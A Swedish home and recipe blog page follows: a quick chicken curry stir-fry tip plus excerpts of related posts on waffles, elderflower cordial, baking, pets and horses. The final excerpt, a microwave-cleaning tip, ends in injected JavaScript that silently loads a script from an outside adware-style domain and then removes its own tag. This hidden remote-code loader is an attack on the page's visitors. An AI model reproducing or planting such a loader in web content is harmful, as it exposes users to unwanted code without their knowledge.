03 jun
Livet hos Hogengård

Snabba middagstipset!

Häll en rejäl pöl med olja i en het panna, fräs lite gul currypasta, hiva i kyckling(inner)filé och champinjoner. Stek på och lägg till några rejäla kluttar ostronsås, liten svätt sesamolja, lime och japansk soja. Låt gotta ihop sig. Tyckte inte det behövdes mer än några korn salt. Servera med nudlar, ris, broccoli eller vad som nu önskas. 🙂

Related Posts

31 jul
Livet hos Hogengård

Våfflor och Pokémon

Ibland ger jag efter och gör våfflor. Detta recept tycker jag är bra. Fast jag tar fyra dl dinkel och 1 dl grov dinkel. Bara veva ihop och grädda. Smeten blir seg så använd slickepott. Annars blir smeten kvar i bunken. Blir ca åtta-nio våfflor.  Så har jag och Bus testat Pokémon. Det var mest spännande de första två dagarna. Inatt blev sömnen sådär så idag har vi tagit det lugnt.  Far hjälpte mig med våra fönster i eftermiddag. Han har en manick som man skrapar och suger upp putsvattnet med. Jag tvättade och han torkade. Blev en stor (gigantisk) förbättring....

Read more
21 jun
Livet hos Hogengård

Mormors flädersaft

Så ljuvliga blommorna är en och en. Världens sötaste konfetti.   Skalar citronen och pressar saften. Finns säkert fler sätt.   Dofterna är helt makalösa! Tror knappast mormor tar illa upp om jag delar med mig. Tvärt om så blir hon säkert stolt om ni använder det. Fick plocka blommor hos grannarna men deras träd är så högt. Den snälla (och långa) sonen kom ut och hjälpte mig. Jag såg väl helt hjälplös ut. :) Mormor Astrids Fläderblomssaft Minst 40 blomklasar 2 liter vatten 2 kg socker (det står 2,5 men jag tycker 2 räcker) 50 g citronsyra 4 citroner Klipp bort så mycket av skaften du kan. Skölj...

Read more
09 apr
Livet hos Hogengård

Lördagsgodis!

Längtat så länge efter Roy Fares optimala kladdkaka. Jag gör den utan jordnötter och den är bäst. Och den är superenkel att sno ihop. Se bara till att ta ut den i tid så den verkligen blir kladdig. Torr kladdkaka gör ingen lycklig. Och smeten som blir över i bunken och på vispen ska njutas av. "Provsmakade" kakan igår och det är tveksamt om den överlever dagen. Nu ska jag samla ihop lite saker som ska med till Portugal på tisdag. Pojkarna är i simhallen så jag har en stunds tystnad. Gäller att utnyttja den väl.

Read more
29 jul
Livet hos Hogengård

Jäklars vilken middag!

Nu har jag imponerat på mig själv. Lax med lite olivolja, flingsalt och en termometer. Får absolut inte gå för länge. Den ska vara mjuk och fin. Till detta var det premiär för sötpotatispommes. Så goda. Skär jämna bitar, rumla runt dem i en skål med olivolja och flingsalt. Lägg på rad utan att klibba ihop på ett ugnsgaller. Sätt en plåt under för att slippa dropp i ugnen. 175 grader och den sista kvarten åkte fisken in. Dippade i lite majonnäs. Kommer absolut göras igen. Lättlagat och väldigt gott. Men grymt mäktigt.  Många fina tomater på gång. Kommer nog...

Read more
01 apr
Livet hos Hogengård

Bakat Paleobröd

Gjorde en halv sats igår för att prova först. Buset åt det med stor aptit. Även till frukost idag. Jag tyckte också det var gott men föredrog det när det var svalnat. Var lite väl klibbigt innan. Recept: 1 bröd (ca 16 bitar)Ingredienser4 dl mandelmjöl0,5 dl kokosmjöl5 msk fiberhusk0,5 dl krossat linfrö1 tsk kanel 1 tsk kardemumma1 tsk salt1 tsk bikarbonat6 st ägg2 dl vatten Honung (flytande)2 st bananer Sätt ugnen på 200° C. Blanda samman alla de torra ingredienserna i en bunke.Mixa ägg, vatten och lite honung i en separat bunke.Häll över de torra ingredienserna i äggen och vattnet. Blanda väl.Tillsätt bananerna...

Read more
20 mar
Livet hos Hogengård

Dagens husmorstips!

Av förklarliga skäl så finns det inte så många inlägg i bloggen av detta slag. Jag är ju mer av typen "gå ud å bröda me nå´t skeddet". Men vi har ju våra söta skitsvansar. En av dem sitter pälsen knappt kvar på. Framförallt inte nu när vårkostymen ska på. Och vinteroverallen av. Våra matsalsstolar är klädda med tyg. Skitsmart. Eller inte. Men jag vet trixet. Glöm att köpa tjugo klisterrullar på Ullared. Det här är bättre! Fuktig disktrasa och bara torka av pälsen. På stolen. Inte katten. Jag använder gamla disktrasor som jag har tvättat i maskinen. Det...

Read more
10 okt
Livet hos Hogengård

Viltspaning och sur på ugn

Hade rådjursbock på besök igår. Vem tyckte det var mest spännande. Katt eller Bus? Bakat fröknäcke. Supergoda men jag flippar ur på vår ugn. Brända kanter och halvfärdigt i mitten. Sur som fan! Körde med en färdig mix från Risenta som jag la till en sked honung i och smulade lite flingsalt på toppen. Och Buset berättar hur stora fiskar han fått. Och nej, armarna räckte inte till. Ikväll blir det den lilla svarta, höga klackar och ut på baluns med Snäckan. Det kan jag behöva efter en riktig skitvecka. Får se om vi får till någon bild.

Read more
14 sep
Livet hos Hogengård

Gottelunch och lat söndag

Potatis, rödbetor, morötter, olivolja, timjan (från kryddlandet) och flingsalt. In i ugnen. Veva runt då och då. Till det en grymt god kalkonkorv från Ingelsta och en chilisås jag vevat ihop själv.  Hur vackra är inte rödbetor. Och goda.  Men ica. Hur tänker ni. Den här är så kass. Gäller även toa- och hushållspapper. De var bra förut men kvalitén har försämrats. Det är väl inget vidare att vi undviker allt som är märkt med ert eget varumärke? Beige Kallekatt är nu bara lite ojämn. Märkligt vilken snabb vändning det tog. Sover helst ute i rabatten nu när vädret är så härligt....

Read more
08 apr
Livet hos Hogengård

Tisdagsmiddag och lite hästfunderingar

Ska få hit mor, far och mormor idag. De hade ärenden i byn och kommer sedan hit på middag. Tänkte laga tandoorikyckling och en slags cheesecake i glas. Ingen av dem har jag gjort innan. Men hur svårt kan det vara?! :) Annars rullar det på. Sassen går fint och jag ska starta på lördag i Lysekil. Ny klass så det vore väl dags att pränta in den nu. :) Har testat vissa vägar och det kan vara ett program som passar henne bra. Vi får se. Det blir ju premiär för skrittpiruetter. De funkar så bra hemma men på...

Read more
14 mar
Livet hos Hogengård

Dagens husmorstips!

Några skivor citron i en liten skål med vatten. Ställ in i micron. Kör en minut på full effekt så det börjar ånga rejält. Sedan är det bara att torka ur med ren trasa. Rent och luktar gott utan läskiga medel. Testade igår i en måttligt ren micro. Funkar. (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more

Lämna ett svar

Din e-postadress kommer inte publiceras. Obligatoriska fält är märkta *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

The reCAPTCHA verification period has expired. Please reload the page.